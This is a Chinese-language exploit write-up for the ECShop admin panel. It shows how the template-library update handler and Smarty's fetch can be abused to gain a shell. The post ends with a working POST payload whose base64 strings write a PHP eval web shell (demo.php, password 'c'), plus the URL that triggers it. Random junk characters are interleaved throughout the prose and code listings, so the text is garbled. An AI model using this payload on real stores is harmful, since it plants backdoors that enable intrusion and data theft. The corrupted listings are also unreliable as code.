Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
  q1 l$ F& n2 O( f0 Q+ l2 J; H6 M
/ ~5 b6 h( Y" H/ K. R而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
: S0 ^( _7 f& X
1 if ($_REQUEST['act'] == 'update_library')
: ~/ r8 p5 |' d" {
2   

; k0 q) P! ^& Q0 ]: ~- s3 {
2 E$ U' [" s0 r
4     check_authz_json('library_manage');
9 r$ P: V, v* r
5   
" I  K4 M* G8 x) p1 Y8 p) G
6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
# ^4 H9 F5 b/ t9 M  I3 V
4 \1 i0 u/ f( R) H7 L, A) n10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

) u- L& |+ s4 J) K3 Z$ G; v( G7 [7 Y12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

( f3 s6 _0 t7 a9 b3 O13   
) p7 U0 V8 l9 f  _
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
! v1 R: M/ k& I+ q8 r
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 W- X% B$ R4 \, C& s3 D. `0 n3 |
17         make_json_result('', $_LANG['update_lib_success']);

) _" i& J) n9 E! }5 \# u9 u18     }

19     else
/ X2 m' g: ^3 M$ h8 N6 c. A$ a
20     {
; W  i: O/ M. y) n0 G& w
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, d! i6 Q  P5 n7 r
22     }
  i: c5 y1 E8 b/ W/ b
23 }
- ~1 e  _) {1 J4 j4 n- }0 @6 q
那么找个比较方便调用了模板的文件
index.php
/ u* N5 P$ G' {# a6 d3 _
, Z$ K, L- R$ E  `" Z! @1 if ($act == 'cat_rec')
# ~: u+ L, Q0 k3 n& E/ z' q
2   

3 {
  v0 ~- y" Q+ K' p- C7 z) |
; d2 X8 z* [# F: S4   
6 p$ |' a. ]; W  ~. r7 I
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& ?' f) ^. |- g5 ~5 S1 q8 w& W
6   

! g! w/ n# P* j4 l% |7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 j0 [! t6 a/ T: Q* W* d  Y
1 E+ ~1 w% b  _. i% _8   

+ y8 Z2 n) N7 X' Z2 F+ `4 Q+ C9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

+ E4 E. e% P1 L) c10   
/ ]- J7 H! d% p! q6 j& |  A  x
11     include_once('includes/cls_json.php');

12   
8 K7 {( {) Z: K+ l
13     $json = new JSON;
! H$ v9 z4 U  s
14   
- }, l5 G& |7 x  }, L& N
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
: b0 C  i" s3 g2 k% d0 d  o
' ^7 J8 Q. k; ?8 R16   

! Z; p, B0 e1 i4 T7 A" q6 A$ ?$ N17     $children = get_children($cat_id);

18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
* z1 I$ A3 G9 q3 Y% f6 l! o
4 C7 X1 F% O, k9 K2 O21     $smarty->assign('cat_rec_sign', 1);

22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

8 d/ ~9 W/ |1 t! h) W1 A$ M24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

* C+ B8 t8 R/ p# |3 w6 t$ U26   
' u2 \% f8 E! U  B$ B/ L, U9 U  X
9 I) H. V1 Y( `7 n  b27         echo $rec_array[$rec_type];

/ n- e& o) ?) u, b# M& H9 Y28   
& i3 ~/ ]7 n2 o( h
+ B# S( X* J  J29     die($json->encode($result));
0 Q5 T0 C+ Y$ Y2 `+ W. p6 C
30   
+ z! d3 ?& S3 o/ E0 F' j
0 M2 z* m/ g0 \# }31 }

那么就有利用方法了
$ o2 T& y+ R: |% |- _5 Xpost包到http://localhost/ec/admin/template.php?act=update_library
- {: [8 Q+ U% z' ^( e0 NPost内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
" r7 Z2 u/ x: S9 F8 W4 k' z$ q
% `1 g/ W  n8 q" s7 ^$ ^然后访问http://localhost/ec/index.php?act=cat_rec
8 d) g7 c& E# s" ]4 [8 X1 C
shel地址：http://localhost/ec/demo.php
% Q7 R: C/ \% ^) S( O6 x* x密码c
, }8 O, k+ W1 k: Z
& D+ v; j; f# S& R* X8 Z1 K: A